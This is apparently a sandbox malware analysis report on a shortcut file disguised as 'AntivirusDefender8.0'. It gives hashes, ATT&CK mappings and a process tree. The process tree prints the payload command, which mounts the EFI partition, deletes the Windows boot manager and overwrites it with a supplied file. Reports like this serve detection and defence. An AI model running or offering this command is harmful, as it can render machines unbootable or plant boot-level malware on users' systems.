1ee3788918d34886873b12b45d7723e64eebe81cd117dbbf95f75fb99b38ea2d

Resubmissions

08/07/2024, 11:05

240708-m639fsyaph 4

08/07/2024, 11:00

08/07/2024, 10:54

08/07/2024, 10:49

08/07/2024, 10:46

08/07/2024, 10:42

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240704-en
resource tags

arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
submitted
08/07/2024, 10:46

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General

Target

AntivirusDefender8.0-main/AntivirusDefender8.0.lnk
Size

1KB
MD5

3da7e181e7e2a7cb91b92cdaf0300c5b
SHA1

8d9691891d52d9ae7acbce140e49653d7225e5cd
SHA256

da6227b4b97a7b3de4abdf570873eedf44192180eb142bfabf91916fefefb41a
SHA512

cca8d154c6764a44914368af05259e35bf60dbc9b09b3842564521ecd99c9023b091113d9adebe7a868f2b96ef3542570bb3b2fca1bff35a15c27b837ad00296

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 4748	3488	cmd.exe	80
PID 3488 wrote to memory of 4748	3488	cmd.exe	80
PID 4748 wrote to memory of 2272	4748	cmd.exe	81
PID 4748 wrote to memory of 2272	4748	cmd.exe	81
PID 2272 wrote to memory of 2180	2272	cmd.exe	83
PID 2272 wrote to memory of 2180	2272	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\AntivirusDefender8.0.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\system32\cmd.exe
    cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Windows\system32\mountvol.exe
      mountvol x: /s
      4⤵
      PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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